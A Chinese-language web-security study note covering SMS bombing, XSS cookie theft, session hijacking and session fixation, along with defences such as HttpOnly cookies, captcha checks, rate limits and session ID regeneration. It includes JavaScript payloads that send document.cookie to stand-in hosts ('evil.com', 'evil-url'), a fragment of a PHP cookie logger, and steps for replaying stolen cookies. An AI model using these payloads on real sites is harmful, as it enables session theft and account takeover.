短信轰炸
1.Fiddler抓包repeat2.burpsuite 修改 PHPSESSID ->字典爆破 如选择a-z3.burpsuite手机号遍历防御:设置图片验证码,每次获取短信验证码之间,先判定图片验证码的正确性。设置时间限制,前端按钮设置点击事件时间限制。设置服务器短信下发的时间间隔。设置每个手机号时间段内获取短信的次数
Cookie劫持
http://www.a.com/test.php?abc="> evil.js content: var img = document.createElement("img"); img.src = "http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img); PS:log不一定要存在,因为在日志中会记录下这个过程上面演示的就是最基本的xss 劫持Cookie的过程, 当你拿到用户cookie后,怎么用它登录服务器呢?在这个过程,方法很多,这里有两种方法:Burpsuit proxy 修改cookieFirefox 插件 Data Tamper 截断请求修改cookie IP: '.$ip.' Data and Time: '.$time.'Referer: '.$referer.''); fclose($fp);?>将上述保存到自己服务器上,1.php然后在XSS处写入:
Cookie欺骗
会话劫持(Session hijacking)
获取SessionID方式: 1 暴力破解:尝试各种Session ID,直到破解为止; 2、预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来; 3 窃取:使用网络嗅探,XSS攻击等方法获得。 第三种攻击方式通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。 目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。 使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。 最基本的Cookie窃取方式:XSS漏洞防御: 1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。 2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。 3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。 4、 关闭所有phpinfo类dump request信息的页面。 5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。 6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。 一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。 var img = document.createElement('img'); img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie); document.getElementsByTagName('body')[0].appendChild(img);
会话固定漏洞(Sessionid)
攻击者重置SessionID的方式: 跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。 使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。 1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。 2、 使用HTML的 标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加 标签来设置Cookie。例如 ,与客户端脚本相比,对 标签的处理目前还不能被浏览器禁止。 3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。 这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。 防御方法: 1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。 2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。